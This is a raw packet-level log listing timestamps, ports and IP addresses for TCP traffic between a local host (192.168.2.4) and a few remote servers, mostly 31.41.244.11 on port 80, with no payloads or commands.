Dec 17, 2024 22:06:36.310786963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.310918093 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.310925007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.310951948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.311832905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.311876059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.311976910 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.312021017 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.312901020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.312948942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.313057899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.313307047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.313977003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.314110041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.314148903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.314204931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.315047979 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.315089941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.315188885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.315228939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.316095114 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.316138029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.316173077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.316209078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.317186117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.317234993 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.317306995 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.317351103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.318396091 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.318413973 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.318454981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.319324017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.319401026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.319443941 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.320395947 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.320655107 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.320672989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.321460962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.321489096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.321504116 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.321557045 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.322561026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.322768927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.322817087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.323585033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.323698997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.323746920 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.324640036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.324762106 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.324807882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.325700998 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.325838089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.325885057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.326813936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.327436924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.327480078 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.327902079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.327992916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.328032970 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.328897953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.329277039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.329324961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.329941034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.330132961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.330178976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.331020117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.331248045 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.331295013 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.332113028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.332369089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.332407951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.333154917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.333203077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.333787918 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.333857059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.334271908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.334290028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.334352016 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.335267067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.335372925 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.335374117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.335407019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.336400032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.336505890 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.337055922 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.337106943 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.339730978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339813948 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339828014 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339868069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.339901924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.339915991 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339930058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339946985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.339966059 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.339992046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.340656042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.340768099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.340815067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.341027021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.341681957 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.341733932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.341780901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.341872931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.342760086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.342803955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.343017101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.343061924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.343813896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.343887091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.343981981 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.344109058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.344947100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.345022917 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.345027924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.345068932 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.345973015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.346607924 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.346647024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.347042084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.347255945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.347292900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.348088980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.348129034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.348169088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.348859072 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.349098921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.349148035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.415416956 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:36.415524960 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:36.415667057 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:36.416001081 CET	49824	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:36.416018963 CET	443	49824	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:36.440347910 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:36.440546036 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.441375017 CET	49836	80	192.168.2.4	104.154.220.71
Dec 17, 2024 22:06:36.485543013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.485609055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.485666037 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.485773087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.486001968 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.486097097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.486152887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.486345053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.487067938 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.487121105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.487181902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.487416029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.488137960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.488193989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.488878012 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.488929033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.489365101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.489415884 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.489417076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.489463091 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.490365982 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.490454912 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.490506887 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.491345882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.491466999 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.491595030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.492841959 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.492913961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.492980003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.493055105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.493494034 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.493530989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.493546963 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.493572950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.494528055 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.494576931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.494811058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.494863033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.495606899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.495661974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.495978117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.496028900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.496646881 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.496700048 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.496764898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.496812105 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.497771025 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.497822046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.497881889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.497937918 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.498789072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.498842955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.499094963 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.499835014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.499891996 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.499939919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.500629902 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.500704050 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.500927925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.500987053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.501352072 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.501410961 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.502005100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.502074957 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.502130032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.502280951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.503055096 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.503350973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.503528118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.503583908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.504173994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.504230022 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.504338026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.504522085 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.505182028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.505553961 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.505621910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.506253958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.506304979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.506386042 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.506511927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.507344007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.507463932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.507520914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.508400917 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.508457899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.508536100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.508692026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.509439945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.509573936 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.509707928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.510557890 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.510647058 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.511007071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.511065960 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.511586905 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.511639118 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.511646986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.511679888 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.512655973 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.512725115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.513307095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.513365030 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.513708115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.513761044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.513818979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.514767885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.514837980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.514975071 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.515053988 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.515880108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.515966892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.516047001 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.516940117 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.516947031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.517002106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.517591000 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.517657042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.517950058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.518007040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.518385887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.518444061 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.519066095 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.519121885 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.519718885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.519774914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.520190954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.520565033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.520576000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.520610094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.521151066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.521219969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.521693945 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.521758080 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.522224903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.522284985 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.522330046 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.522572994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.523361921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.523749113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.523802042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.524355888 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.524406910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.524502039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.524565935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.525429964 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.525481939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.525546074 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.525594950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.526520967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.526571989 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.526577950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.526612043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.527558088 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.527621031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.527704954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.527753115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.528723955 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.528804064 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.529006004 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.529136896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.529696941 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.529743910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.529808044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.529853106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.530821085 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.530879021 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.530899048 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.530950069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.531840086 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.531980991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.532001019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.532058001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.532897949 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.533011913 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.533057928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.533127069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.533974886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.534037113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.534116983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.534260035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.535142899 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.535196066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.535197973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.535235882 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.536115885 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.536165953 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.536264896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.536324978 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.537159920 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.537214041 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.537214994 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.537256956 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.538235903 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.538279057 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.538382053 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.538429976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.539347887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.539405107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.539504051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.539556026 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.540355921 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:36.540405035 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:36.540487051 CET	80	49825	31.41.244.11	192.168.2.4
